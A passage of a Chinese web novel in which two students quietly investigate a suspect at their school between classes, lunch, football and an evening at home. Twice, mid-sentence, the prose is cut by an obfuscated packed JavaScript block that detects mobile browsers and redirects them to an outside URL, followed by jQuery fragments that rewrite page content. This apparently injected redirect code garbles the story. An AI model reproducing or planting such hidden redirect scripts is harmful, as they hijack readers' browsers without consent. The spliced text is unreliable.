“如果我是熔炉出来的人,”纪砚接过话,语速不快,但每一个字都咬得很清楚,“就会立刻警觉,因为熔炉的实验体都知道,信息素是最大的身份标识。”
谢燃点了点头,幅度小到几乎看不出来。他的下巴在手掌里动了动,像一只在打盹的猫听到了什么声音,只是微微抬了一下眼皮。
“所以他的试探有两个目的。”纪砚的目光终于从书上移开。他抬起眼睛,看着桌面上摊开的英语课本,但焦点不在那上面。他的声音低得像是自言自语,又像是在跟谢燃确认,“第一,确认你是否知道自己的信息素有什么特别之处。第二,观察你的反应速度和对信息素的敏感度。”
“你觉得他看出什么了吗?”
“没有。”纪砚说。这个词说得很干脆,没有任何犹豫,“你的反应很自然,笑容到位,语气轻松,连站姿都没有变。”他顿了一下,像是又回放了一遍当时的画面,然后补充道,“但你回来的时候,步子比平时快了零点三秒。”
谢燃愣了一下。他眨了眨眼,嘴巴微微张开,又合上了。
“这你都能看出来?”
“职业习惯。”
“……变态。”
纪砚没理他。他把《犯罪心理学》合上,拇指在封面上按了一下,然后塞进桌斗里。桌斗里整整齐齐地码着各科课本,按科目首字母排列,每一本的书脊都朝外。他把书插进字母“F”的位置,抽出下节课要用的英语课本。动作一如既往地有条不紊,像一台精密运转的机器。
但谢燃注意到他把课本拿出来之后又放回去了一次。
英语课本从桌斗里抽出来,放到桌面上,停了两秒,又被拿起来,重新塞回桌斗,然后又抽了出来。这三次动作之间没有任何犹豫,看起来像是一个连贯的流程,但谢燃知道不是。这在纪砚的行为模式中,意味着他在反复确认某件事——他在想别的问题,身体的肌肉记忆在做另一件事,两者没有同步。
“你在想什么?”谢燃问。
“在想冥安为什么要主动找你。”纪砚把课本重新拿出来,这次没有再放回去。他把书翻到今天要讲的那一页,手指在页边无意识地摩挲着,“他是嫌疑人,你是新来的转校生,没有任何交集。他主动搭话,意味着他对你产生了兴趣,而这种兴趣一定是有原因的。”
“也许他只是随便聊聊?”
“他不像是会随便聊聊的人。”
谢燃想了想。冥安在学校的表现他观察过——不主动与人交流,不参加集体活动,食堂吃饭一个人坐,课间一个人站在走廊尽头的窗户边,走路一个人走,连体育课的自由活动时间都一个人坐在操场角落的台阶上。这种人对一个刚来两天的转校生主动开口,绝对不是“随便聊聊”。
“也许他收到了什么指示。”谢燃说。
“有可能。”纪砚翻开英语课本,目光落在某一页的单词表上。那些单词他早就背过了,但他还是在看,像是在看一个已经被解开的密码,确认自己没有遗漏任何信息,“如果他上游真的有一个叫织网者的人,那这个试探可能来自上面。”
谢燃的尾巴尖绷得更紧了。那一小撮白色的绒毛从蓬松变成了紧实,像一根被拉直的弹簧。
上课铃响了。
铃声是电子合成的,单调的“叮铃铃”在走廊里回荡了三声,然后被各个教室的嘈杂声盖住了。英语老师踩着高跟鞋走进教室,鞋跟敲在地板上发出清脆的哒哒声,节奏很快,像机关枪点射。她是个三十出头的Beta,短发,戴着一副黑框眼镜,说话语速快得像在念rap,板书潦草得只有她自己能看懂。
“Class begins. Turn to page twenty-three.”
全班哗啦哗啦地翻书。
谢燃撑着头,假装在看课本。他的目光落在第23页那篇环保阅读理解的标题上——Global Warming: A Call to Action——但他脑子里还在转冥安说的那句话。
“你的信息素很好闻。”
这句话到底是什么意思?是单纯的试探,还是另有所指?冥安说这句话的时候,表情很平,看不出任何情绪波动。眉毛没有上扬,嘴角没有变化,瞳孔没有放大,连鼻翼都没有翕动。那种平不是刻意控制的平,而是一种骨子里的、习惯性的平。但正因为太平了,反而显得刻意——一个正常的十七岁高中生在跟人说话的时候,脸上不应该一点表情都没有。
除非他已经习惯了不流露任何表情。
谢燃用余光扫了一眼教室后门。门关着,门上有一块长方形的玻璃窗,能看到走廊的一小段。没有人。
他又看了一眼窗外。操场边的榕树在风中摇晃,气根像无数只垂下来的手,在阳光里轻轻摆动。体育课另一个班在跑圈,学生们穿着统一的运动服,排成两列纵队,绕着操场慢跑。脚步声闷闷地传过来,经过墙壁和玻璃的过滤,变成一种低沉的、有节奏的震动,像远处的心跳。
“谢燃。”英语老师的声音忽然响起来,像一根针扎破了教室里的安静气泡。
谢燃条件反射地站起来,椅子腿又发出一声吱呀,比刚才那声还尖。他身后的同学小声笑了。
“第23页,第二段,念一下。”
谢燃低头看了一眼课本。第23页是一篇关于环保的阅读理解,第二段大概有八行字,讲的是碳排放和海平面上升。他清了清嗓子,用一种他自己都觉得做作的播音腔念了起来——每个单词都咬得字正腔圆,元音饱满,辅音清晰,连重音都放在了对的地方,像在演话剧。
教室里有人笑了。不止一个,是好几个。笑声从不同的方向传过来,压得低低的,但憋不住。
英语老师看了他一眼,表情微妙。她推了推眼镜,上下打量了他一下,像在看一个从外星球来的生物。
“你是美国人吗?”
“不是,老师,我是中国人。”
“那你这个口音是跟谁学的?”
“跟美剧学的。”
“以后别学了。”
“好的老师~”
谢燃坐下来,椅子腿又吱呀了一声。纪砚在旁边不动声色地翻了一页书,嘴唇微微动了一下,动作很小,但谢燃读出了那个口型:丢人。
他用口型回了一句:你行你来。
纪砚没理他。
上午的课就这么波澜不惊地过去了。
数学老师讲了两道大题。第一道是函数,他在黑板上画了一整页的坐标系,密密麻麻的线条像一张蜘蛛网,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536127|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粉笔灰落了一地。第二道是几何,辅助线画了四条,擦掉了两条,又画了三条,最后全班没几个人跟上了。谢燃是没跟上的那批里的一个,他在草稿纸上画了一只猫,画就画吧还那么丑。
物理老师做了一个实验。他用一个斜面、一个小车和一个秒表,测量加速度。小车从斜面上滑下来的时候,有一个轮子卡了一下,实验数据全乱了。物理老师沉默了三秒,说“我们再来一次”,第二次还是乱的。他说“实验允许误差”,然后在黑板上写了一组看起来很漂亮的数据让大家抄。
历史老师把二战的时间线从头到尾捋了一遍。1939年波兰闪击,1940年法国沦陷,1941年巴巴罗萨行动,珍珠港,斯大林格勒,诺曼底,柏林。她的声音平稳得像一条直线,不带任何感情色彩,像在读一份已经被无数次验证过的报告。
谢燃听了大概百分之三十,剩下的时间在发呆、转笔、看窗外、偷看纪砚记笔记。
他发现纪砚记笔记的时候有一个小习惯——遇到重点内容,会用笔尾敲一下桌面。力度很轻,轻到如果不坐在他旁边根本听不到,但节奏固定:三下,间隔一秒,不多不少。第一次敲是“注意”,第二次敲是“这个重要”,第三次敲是“一定要记住”。这个习惯纪砚自己可能都不知道,但谢燃观察了十几年,早就刻进了条件反射里。
每次纪砚敲桌面,谢燃就知道:这个要记。
他记了。用他那手狗爬似的字,歪歪扭扭地写在课本空白处。有些字连他自己后来都认不出来——比如“斯大林格勒”被他写成了“斯达林格勒”,但意思差不多。纪砚要是看到了,大概会说“错别字扣分”,但谢燃不在乎,反正考试又不考拼写。
中午吃饭的时候,陆大寻又来了。
他端着餐盘在食堂里找了半天,脑袋左转右转,浅色的瞳孔在人群中扫来扫去,尾巴竖得高高的,像一面导航旗。他终于在人海中找到了谢燃和纪砚的位置——靠窗倒数第二桌,和他们在教室的座位布局一模一样:谢燃在左,纪砚在右,中间隔着一条过道。
纪砚选了这里,不是巧合。这是他习惯的观察位置:背靠墙,面朝大门,视野覆盖整个食堂。从这桌看出去,能看到食堂的三个出入口、打饭窗口的队伍、以及通往二楼特色窗口的楼梯。任何人进出食堂,都会被纳入他的视野范围。
“谢哥!纪哥!”陆大寻挤过来,餐盘上堆得像小山。米饭上面盖了三个菜——红烧肉、西红柿炒蛋、炒青菜,红黄绿三种颜色摞在一起,看着就很有食欲。他还多拿了一碗汤,紫菜蛋花汤,碗边还挂着一片紫菜,“你们怎么每次都坐这?我找了半天!”
“因为这里风水好。”谢燃说。
“真的假的?”
“假的。”
陆大寻嘿嘿一笑,把餐盘放下,坐到谢燃对面。他把餐盘摆正,筷子从餐盘下面抽出来,在手里对了一下长短……一样长的筷子,满意地点了点头,开始吃饭。
他吃饭的样子一如既往地投入。筷子在餐盘里翻飞,先夹一块红烧肉,再夹一口米饭,米饭还没咽下去就塞了一口西红柿炒蛋,腮帮子鼓得像仓鼠。嚼的时候发出满足的哼哼声,眼睛眯成一条缝,嘴角沾了一粒米。
谢燃看着他的吃相,忽然想起年绪昨晚发的那条消息——陆大寻的线粒体DNA与熔炉实验体O147有92%的相似度。
他低下头,扒了一口米饭,把这个念头咽了下去。米饭在嘴里嚼了很久,几乎嚼成了糊,他才咽下去。
“谢哥,你今天下午有空吗?”陆大寻嘴里含着一块红烧肉,含混地问。肉汁从他嘴角溢出来一点,他用舌头舔了舔。
“下午有课。”
“放学后呢?”
“放学后要写作业。”
“你写作业?”陆大寻瞪大眼睛,那表情像是听到了什么不可思议的事情——眼睛圆了,瞳孔放大了,嘴巴微微张开,露出还没咽下去的半块红烧肉,“你会写作业?”
“……我看起来不像会写作业的人吗?”
“不像。”
谢燃噎了一下,转头看纪砚。纪砚正在喝汤,勺子从碗里舀起一勺紫菜蛋花汤,送到嘴边,慢慢喝下去。他的表情淡得像什么都没听到,连眼皮都没抬一下。
“纪砚,你说句话。”
“他说的是事实。”纪砚放下汤碗,用纸巾擦了擦嘴角。
“你们两个——”
陆大寻笑得更欢了,眼睛弯成两道月牙,露出两颗小虎牙。他的尾巴在椅子后面甩来甩去,从左甩到右,又从右甩到左,幅度越来越大,差点扫到路过的一个同学。那同学回头看了一眼,眉头皱着,表情不太高兴。陆大寻赶紧把尾巴夹到腿中间,低下头,乖乖扒饭,像一只被训斥了的小狗,好吧,就是狗。
下午第一节课是体育课——这次是真的体育课,不是八百米测试,是自由活动。
16. 暗流
男生们在操场上踢足球,女生们在跑道边聊天。
足球场是人工草皮的,草丝已经磨得东倒西歪,露出底下黑色的橡胶颗粒。阳光照在草皮上,橡胶颗粒反着光,像一小片一小片的黑芝麻。球门是铁制的,白色的漆面有些剥落,露出下面生锈的铁皮,网子有几个洞,但不影响使用。
谢燃被拉去凑数当守门员。不是因为他守门技术好——虽然他确实守得不错——而是因为他跑得慢。这是他的借口。实际上他跑得不慢,在曙光学院的时候,他的三公里成绩一直排在前五。但他不想跑。踢足球太累了,要在那么大一个场地上跑来跑去,来回折返,冲刺,急停,转身,想想就觉得腿软。
守门员多好,站在门前,不用跑,只需要扑球。
他站在球门前,双手撑在膝盖上,微微弯着腰,百无聊赖地看着对面的男生们抢球。阳光从头顶照下来,把他的影子缩成小小的一团,踩在脚下。他的校服外套脱了,搭在球门旁边的草地上,只穿一件白色的短袖,领口被风吹得微微掀起来。
对面的男生们踢得很热闹,但技术水平参差不齐。有人带球把自己绊倒了,有人传球传给了对方,有人射门踢空了,一脚踢在空气里,整个人转了一圈。谢燃看着他们,嘴角不自觉地翘起来,觉得还挺有意思的。
纪砚没踢球。
他坐在操场边的榕树下,背靠着树干,手里依旧拿着那本《犯罪心理学》。书被他放在膝盖上,用校服外套盖住,从远处看像是在晒太阳——头微微仰着,眼睛半闭,像一个在午后的阳光下打盹的普通高中生。但谢燃知道,他在看书。他的眼睛在看,他的脑子在转,他的耳朵在听周围的一切动静。
一个球飞过来,直奔球门右上角。
球速很快,在空中划出一道弧线,阳光在球的表面反射出一道光。守门员的本能反应是扑向球的飞行方向,但谢燃没有扑——他跳起来,身体腾空,右手伸出去,五指张开,手掌稳稳地拍在球上。
啪的一声,球被拍了出去,改变方向,飞向球门左侧,弹在地上,滚出了边线。
他落地的时候顺势翻了个跟头,在人工草皮上滚了一圈,然后站起来,拍了拍手上的灰和橡胶颗粒。动作漂亮得像职业门将,连贯、流畅、干净利落。
“卧槽谢燃你练过?”对面的前锋站在禁区线上,瞪大了眼睛,嘴巴张成一个O形。
“天赋,都是天赋。”谢燃拍了拍手上的灰,笑得一脸得意。他的尾巴在身后晃了晃,橙红色的毛在阳光下像一团火。
场上的其他男生也看了过来,有人吹了声口哨,有人喊“牛逼啊”,有人鼓掌。谢燃冲他们挥了挥手,像明星谢幕一样。
他回头看了一眼榕树下的纪砚。
纪砚没有抬头。他的目光还在书上,校服外套盖得很严实,看起来跟刚才一模一样。但谢燃注意到他的嘴角微微动了一下——那种动不是笑,而是忍笑,嘴角的肌肉被强行压住,不让它上扬,但压不住,还是往上走了一点点。
谢燃心里美滋滋的,连带着下午的课都上得有精神了。
第三节课是自习。
班主任王老师坐在讲台上批改作业。他戴着一副老花镜,镜架是金色的,镜片很厚,把眼睛放大了一圈。他批改作业的时候很认真,每一道题都看,每一处错误都用红笔圈出来,在旁边写上正确的答案或者解题思路。红笔在纸上划过的声音沙沙的,像秋风吹过落叶。
教室里安安静静的,只有笔尖在纸上划过的沙沙声和偶尔翻书的哗啦声。窗外的阳光从榕树叶子的缝隙里漏进来,在课桌上投下细碎的光斑,风一吹,光斑就晃,像一地的碎金子。有一只麻雀落在窗台上,歪着头朝教室里看了一眼,啄了啄自己的翅膀,然后飞走了。
谢燃难得地认真写了一节课的作业。
不是因为他突然爱上了学习,而是因为纪砚在旁边盯着他。纪砚没有看他,纪砚的目光在自己的作业本上,但谢燃知道他在盯。那种“盯”不是用眼睛,而是用一种无形的压力——纪砚坐在他左边,距离不到半米,他整个人的气场就像一个被拧紧的发条,安静,但充满张力。谢燃要是敢发呆,纪砚就会用笔尾敲他的桌面。
三下,间隔一秒,力度比敲自己桌面的时候重一些。
那个信号的意思是:写。
谢燃写了。
数学题做了一半,错了一半。二次函数的顶点坐标公式他背得滚瓜烂熟,但代入的时候总是把符号搞反。有一道题他算了三遍,得出了三个不同的答案,最后选了中间那个——纪砚后来检查的时候,在旁边用铅笔写了一个“?”。
英语完形填空蒙对了三分之二。二十道题对了十三道,准确率百分之六十五,比他平时好。有一道题他完全不知道选什么,用了“三短一长选最长”的原则,结果选对了。他觉得自己真是个天才。
语文阅读理解写了一堆他自己都不知道是什么意思的答案。题目问“作者为什么要描写窗外的雨”,他写了“因为下雨了”。纪砚看到这行字的时候,沉默了三秒,然后在那行字下面画了一条横线,在横线下面写了一行小字:“景物描写的作用:渲染气氛,烘托心情,推动情节。选一个写,不要写‘因为下雨了’。”
谢燃看了那行小字,想了想,把“因为下雨了”划掉,在旁边写了“烘托作者悲伤的心情”。虽然他根本不觉得作者悲伤,但纪砚说选一个,他就选了一个。
至少态度端正,姿态好看。
纪砚检查了他的作业,没说话,但在错题旁边用铅笔写了正确的解题步骤。数学题,他从第一步开始写,公式、代入、计算、结果,每一步都写得清清楚楚,像一本教科书。英语完形填空,他在每一道错题旁边写了为什么选另一个选项,语法点、上下文线索、固定搭配,分析得很详细。语文阅读理解,他在谢燃的答案旁边写了更完整的表述,然后把标准答案的要点列了出来。
字迹工整得像印刷体,每一行都对齐,连等号都画得一样长。数字和数字之间的间距相等,标点符号的位置精确到毫米。
谢燃看着那些字,忽然觉得心里有个地方软了一下。那种软不是伤心或者感动,而是一种很安静的、很踏实的温暖,像冬天的被窝,像雨天里的一杯热茶。
“谢燃。”纪砚的声音从旁边传来,很轻,只有他能听到。
“嗯?”
“第五题,公式用错了。”
“哦。”
“下次记住。”
“记住了。”
纪砚看了他一眼,那眼神里有一丝不太明显的怀疑——瞳孔微微缩小,眼尾的肌肉轻轻收紧,像在判断一个人说的是真话还是假话。但他没再说什么,转过头继续写自己的作业。
放学铃响的时候,谢燃觉得今天过得还不错。
铃声响了三遍,第一遍是预备铃,第二遍是正式铃,第三遍是重复。学校不知道为什么要把放学铃设成三遍,可能是因为总有人听不到。谢燃每次都能听到,但他每次都假装没听到,能多坐一会儿是一会儿。
没有突发事件,没有危险信号。冥安没有再出现,厕所那一次之后,他就好像消失了一样,课间的时候谢燃注意过他的座位——空着,桌面上什么都没有,连一本书都没留。姜雅的校医室窗帘拉得严严实实,从外面看不到任何东西,但门开着一条缝,能看到走廊尽头的灯光。谭照在保安科办公室里喝茶看报纸,翘着二郎腿,一副退休老干部的悠闲姿态。
一切都平静得像一潭死水。
但谢燃知道,死水下面往往藏着最危险的东西。淤泥、暗流、腐烂的植物根茎、被遗忘的尸骨——都在那层平静的表皮下面。
“谢哥!纪哥!明天见!”陆大寻在校门口挥着手,书包在身后甩来甩去,夕阳把他的影子拉得老长,从校门口一直延伸到马路中间。
“明天见。”谢燃挥手。
“路上小心。”纪砚又说了一遍。他每次都说,每次都是这四个字,一个字不多一个字不少。像一句咒语,或者一个承诺。
陆大寻这次没有跑着离开。他站在公交站台上,认认真真地朝两人鞠了一躬——九十度,腰弯得很深,尾巴在身后翘得高高的,像一根旗杆。然后他直起身,转身上了公交车。车门关上的时候,他还从车窗里探出头来喊了一句:“你们也是啊!”
公交车开走了,尾气在空气中散开,留下一股柴油的味道,混着深秋傍晚的凉意。
谢燃和纪砚站在校门口,看着那辆公交车消失在街角。公交车的尾灯在远处变成两个小红点,然后拐了个弯,彻底看不见了。
“走吧。”纪砚说。
“嗯。”
他们沿着和风中街往回走。路两边的榕树一棵接一棵,气根垂下来,在晚风中轻轻摇晃,像无数只垂下来的手。夕阳把整条街染成了橘红色,行人的影子被拉得很长,交叠在一起,又分开,像一场无声的舞蹈。远处有一个老人在遛狗,狗是一只柯基,四条腿短得几乎贴地,走起路来屁股一扭一扭的。
路过一家小超市的时候,谢燃忽然停下脚步。
“买点东西。”他说着就拐了进去,门上的风铃叮当响了一声。
纪砚跟着进去,看到谢燃在货架间转来转去。超市不大,只有三排货架,但谢燃把每一排都逛了一遍。他先去了冷冻区,拉开冰柜的玻璃门,冷气扑面而来,白色的雾气涌出来。他在速冻水饺的货架上翻来翻去,拿起一袋看看,放下,又拿起另一袋看看。
最后他拿了一袋速冻水饺——白菜猪肉馅的,包装袋上印着一盘热气腾腾的饺子,看起来很有食欲。又拿了一包薯片,黄瓜味的,绿色的包装袋。又拿了两瓶可乐,玻璃瓶的那种,瓶盖上积了一点灰。又拿了一根火腿肠,双汇的,最便宜的那种。
“家里还有饺子。”纪砚说。他看着谢燃手里的那袋白菜猪肉馅水饺,表情平淡,但语气里有一丝不解。
“那是韭菜猪肉的,这个是白菜猪肉的,不一样。”
“哪里不一样?”
“白菜和韭菜的区别。”谢燃理直气壮地把东西往收银台上放,一件一件码好,像在摆积木,“你没吃过白菜猪肉馅的吧?可好吃了。”
纪砚看了他一眼。那一秒钟里,他的表情经历了从“无语”到“随便你”到“算了不说了”的三重变化。然后他掏出钱包,付了钱。收银员是一个四十多岁的Beta女性,扫条形码的时候多看了他们一眼,大概是觉得两个穿校服的高中生买速冻水饺当晚饭有点凄凉。
出了超市,谢燃撕开薯片袋子,嘎吱嘎吱地吃起来。他走路的时候吃薯片,说话的时候也在吃薯片,薯片渣掉了一路,在夕阳下闪着细碎的光,像一条面包屑路。
“你能不能好好走路?”纪砚说。
“我在好好走啊。”
“薯片渣掉了一地。”
“那是给蚂蚁吃的。”谢燃又往嘴里塞了一片,嚼得嘎嘣脆,“我这是在做好事,喂蚂蚁。”
“蚂蚁不吃薯片。”
“你怎么知道?你问过蚂蚁?”
纪砚决定不跟他掰扯了。
回到公寓,谢燃把东西放进厨房。水饺塞进冷冻室,和那袋韭菜猪肉馅的并排放在一起。可乐放在冰箱门上,两瓶靠在一起。火腿肠放在灶台上,忘了收。薯片袋子已经空了,他把空袋子捏成一团,扔进垃圾桶,没扔进去,掉在地上,弯腰捡起来重新扔,这次扔进去了。
他换上拖鞋,一屁股坐到沙发上,打开电视。电视是房东留下的老款液晶,开机有点慢,黑屏了三秒才亮起来。他按了几下遥控器,换了好几个台。
第一个台在放新闻,一个穿灰色西装的男人在讲什么经济数据,GDP增长率、CPI涨幅、PMI指数,一串一串的数字从屏幕下方滚过去。谢燃听了三秒就换台了。
第二个台在放电视剧,一个古装剧,男女主角在雨中拥抱,哭得很用力,雨水把他们的头发和衣服都打湿了。谢燃看了五秒,觉得太假了,换台。
第三个台是综艺节目,一群人在玩水上游戏,穿着花花绿绿的救生衣,从一个充气滑梯上滑下来,掉进水里,溅起巨大的水花。有人滑下来的时候翻了跟头,有人滑到一半卡住了,有人掉进水里的姿势很丑。主持人在旁边哈哈大笑,观众也在笑,笑声是提前录好的,听起来有点假,但谢燃还是笑了。
他靠在沙发上,翘着二郎腿,薯片空了,肚子上的薯片袋子不见了,他就把手搭在肚子上,看得津津有味。尾巴从沙发边缘垂下来,在空气中慢悠悠地晃着,像一只悠闲的钟摆。
纪砚洗完手出来,看到这一幕,沉默了两秒。
“你作业写完了?”
“写完了。”
“检查了吗?”
“检查了。”
“错题改了吗?”
“改了。”
纪砚走到沙发前,居高临下地看着他。从谢燃的角度看过去,纪砚的脸是倒过来的——下巴在上,额头在下,但表情还是很清楚。他的眼睛微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536128|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眯着,瞳孔里映出电视屏幕的亮光,嘴唇抿成一条线。
谢燃抬起头,眨巴着眼睛,表情无辜得像一只偷吃了鱼干的猫。他的耳朵微微往下压了压,尾巴也停止了晃动,整个人呈现出一种“我什么都没做错”的姿态。
“真的?”纪砚问。
“真的。”谢燃举起右手,“我发誓。”
纪砚看了他三秒。那三秒里,客厅里只有电视里的笑声和窗外偶尔传来的汽车声。然后纪砚转身走进卧室,拿出谢燃的作业本翻了翻。
错题确实改了。第五题把公式用对了,答案算出来是一个整数,看起来像是那么回事。第十二题把符号改过来了,从正号改成了负号。阅读理解那道题,他把“因为下雨了”划掉,改成了“烘托作者悲伤的心情”,虽然那个悲伤的心情写成了“悲伤心青”,但意思是对的。
改得对不对另说,但至少改了。
纪砚把作业本放回去,走回客厅,在沙发的另一头坐下。沙发是三人座的,布艺的,浅灰色,坐垫有点塌,坐上去整个人会往中间滑。纪砚坐在最右边,谢燃坐在最左边,中间空着一个座位,放着电视遥控器和一包没拆封的纸巾。
“行吧。”他说。
谢燃咧嘴笑了,把薯片袋子递过去——但袋子已经空了,他举着一个空袋子晃了晃,又放下来。
“吃不吃?”他问。
“不吃。”
“可好吃了。”
“不吃。”
“黄瓜味的,清爽不油腻。”
纪砚看了他一眼,伸手拿了一片——但袋子里只有渣了。他的手指在空袋子里捞了一下,捞上来一小撮薯片渣,粘在指尖上。他看着那些渣,沉默了一秒,然后把手指上的渣拍掉了。
谢燃嘿嘿笑了两声,把空袋子扔到茶几上,继续看综艺节目。尾巴在沙发上慢悠悠地晃着,偶尔扫到纪砚的手臂,纪砚也没躲开。
窗外的天渐渐暗了。夕阳最后一点余晖从窗帘的缝隙里挤进来,在地板上画出一道窄窄的橘红色的光,然后慢慢变淡,变暗,最后消失。路灯亮起来,橘黄色的光透过窗帘,把整间公寓染成一种温暖的色调。榕树的影子投在窗帘上,枝干交错,气根垂落,像一幅水墨画。
厨房里的速冻水饺还在冰箱里冻着,硬邦邦的,等着被煮。可乐在桌上冒着细小的气泡,瓶壁上凝了一层水珠,在灯光的照射下闪着微光。电视里的笑声和窗外的风声混在一起,把整间公寓填得满满的。
很普通。
普通得像这个世界上任何一个普通家庭的一个普通傍晚。有电视声,有零食,有没写完的作业,有明天还要上课的烦恼。有人在旁边坐着,不说话也不觉得尴尬。
但谢燃知道,这种普通是有保质期的。像冰箱里的速冻水饺,包装袋上印着保质期:十二个月。在保质期到来之前,你要把它吃掉,否则它就坏了,就不能吃了。
在保质期到来之前,他想把每一天都过得像今天这样——有薯片,有可乐,有综艺节目,有纪砚坐在他旁边,偶尔伸手拿一片黄瓜味的薯片,说一声“还行”。
“纪砚。”谢燃忽然开口。
“嗯?”
“明天早上吃什么?”
“不知道。”
“要不我煮粥?”
“你会煮粥?”
“会啊,把米和水放锅里,煮就行了。”
“……你上次煮粥把锅煮糊了。”
“那是意外。”
“你上上次也是意外。”
“上上上次也是?”
“对。”
谢燃想了想。他的脑子里闪过三个画面:第一次,锅底糊了一层黑炭,刷了半个小时才刷干净。第二次,粥溢出来了,灶台上全是米汤,擦了一整条抹布。第三次,水放少了,粥变成了米饭,底下还是糊的。
“那明天还是买包子吧。”他说。
“嗯。”
“豆浆也要。”
“嗯。”
“油条要不要?”
“随便。”
“那就买两根,你一根我一根。”
“嗯。”
谢燃满意地点了点头,继续看电视。
综艺节目里有人在唱歌,唱得很难听。音准飘到了外太空,高音上不去,低音下不来,副歌部分还破了音。但选手自己很陶醉,闭着眼睛,表情投入得像在开万人演唱会,额头上的青筋都鼓出来了。谢燃笑出了声,笑得肚子上的空气都被挤了出来,笑得整个人从沙发上滑下去了一点。他的笑声太大,惊动了窗台上的一只麻雀,麻雀扑棱着翅膀飞走了。
他笑得太厉害,肚子上的薯片袋子滑下去,掉在地上。他弯腰去捡的时候,动作太大,茶几上的纸巾盒被他的尾巴扫到了地上,纸巾撒了一地。
“哎呀。”他赶紧弯腰去捡,把纸巾一张一张捡起来,塞回盒子里。有几张沾了灰,他就扔进了垃圾桶。薯片袋子里还剩一点渣,他仰起头,把袋子举到嘴巴上方,把渣全倒进了嘴里,也不管上面有没有沾到沙发布。
纪砚看着他,叹了口气。
但那口气里没有任何不耐烦。那口气像秋天傍晚的风,凉凉的,但很轻,吹在脸上不疼,只是让人觉得很舒服。
窗外,月亮升起来了。
圆圆的,挂在那排榕树的头顶上,像一个被谁挂在天上的白色灯笼。月光从榕树叶子的缝隙里漏下来,在地上碎成无数光斑,和白天阳光漏下来的样子一模一样。风一吹,光斑就晃,像一地的碎银子。
珠海市的夜风从远处吹来,带着深秋特有的清冽气息,穿过榕树的枝叶,把叶子吹得沙沙响。那声音像有人在低声说话,又像有人在翻一本很厚很厚的书。
公寓里的灯还亮着。
电视里的笑声还在继续。
薯片袋子空了,空袋子被揉成一团扔在茶几上,像一朵白色的纸花。可乐也喝完了,两个玻璃瓶并排放在茶几上,瓶口朝上,瓶底还剩一点点深色的液体。两个杯子也并排放在旁边,一个印着狼的图案,一个印着狐狸的图案。
那是谢燃上上周在超市买的。当时他在货架上看到这两个杯子,眼睛一亮,拿起来举到纪砚面前,说“你看,这像不像我们”。狼的图案是灰色的,站在山崖上,仰头看着月亮。狐狸的图案是橙红色的,蹲在雪地里,尾巴蓬松得像一把刷子。
纪砚说“不像”。
但最后还是让他买了。
普通的一天。
结束了……
17. 补课味的酸梅汤
周四下午最后一节课是自习。教室里乱哄哄的,王老师不在,纪律委员在前面喊了三次“安静”,效果持续了大约三十秒,然后又恢复成了菜市场。谢燃趴在桌上,把脸埋在胳膊里,尾巴从桌沿垂下去,在过道里晃来晃去。一个路过的同学差点踩到,他嗖地把尾巴收回来,夹到两腿之间,继续趴着。
“谢燃。”纪砚的声音从旁边传来。
“嗯。”
“数学作业做完了吗?”
“没有。”
“拿出来。”
谢燃把脸从胳膊里抬起来,转头看着纪砚。纪砚的表情很平静,但那眼神里有一种“你逃不掉的”的笃定。谢燃叹了口气,从书包里掏出数学练习册,翻到今天布置的那一页。上面只写了三道题,第一道写了一半,第二道写了个“解”,第三道空白。
“你自习课干什么了?”纪砚看着那页练习册,眉头微微皱了一下。
“思考人生。”
“思考了四十分钟?”
“我思考得比较深入。”
纪砚看了他一眼,从桌斗里抽出一张草稿纸,拿起笔,在第一道题旁边画了一个示意图。他的线条很直,标注很清晰,每一步推导都写得工工整整。谢燃凑过去看,下巴搁在纪砚的肩膀上,纪砚没有躲开。
“第一题用的是二次函数的顶点公式,你记不记得公式是什么?”纪砚问。
“负二a分之b?”谢燃的声音带着不确定。
“那是对称轴。顶点坐标还要把对称轴代进去求y值。”
“哦……对,我想起来了。”
“你刚才没想起来。”
“现在想起来了嘛。”
纪砚把公式写在草稿纸上,在旁边标注了用法和注意事项。他的字很小,但很清楚,每一个符号都写得标准。谢燃看着那些字,忽然想起那张纸条上的字也是这个样子的——工整、克制、端端正正。
他收回目光,把注意力放回数学题上。
第二题是二次函数的最值问题,纪砚用了两种方法解,一种是配方法,一种是公式法。他把两种方法并列写在草稿纸上,让谢燃对比着看。谢燃看了两遍,觉得配方法好像更容易理解,就拿笔在自己的练习册上试着做了一遍。做到一半的时候卡住了,不知道该往哪个方向配方。
“这里。”纪砚的笔尖点在谢燃的练习册上,在二次项和一次项下面画了一条线,“把这两项提出来,常数项先不管。”
谢燃盯着那条线看了三秒,然后恍然大悟地“哦”了一声,低头继续写。写完以后,他把练习册推到纪砚面前,尾巴在身后不自觉地晃了一下——那是他期待被夸奖时的习惯动作。
纪砚看了看,在最后一行的答案旁边画了一个小勾。
“对了。”他说。
谢燃的尾巴晃得更快了。
第三题还没开始做,教室后门被悄悄推开了一条缝。一个毛茸茸的脑袋探进来,浅色的瞳孔在教室里扫了一圈,锁定目标后,整个人像一条泥鳅一样滑了进来。陆大寻手里拎着三杯奶茶,蹑手蹑脚地走回自己的座位——谢燃和纪砚的正后方。他把奶茶轻轻放在谢燃的桌上,压低声音说:“谢哥纪哥,喝奶茶!红豆的、芋圆的、椰果的,你们自己挑。我偷摸出去买的,别告诉老师。”
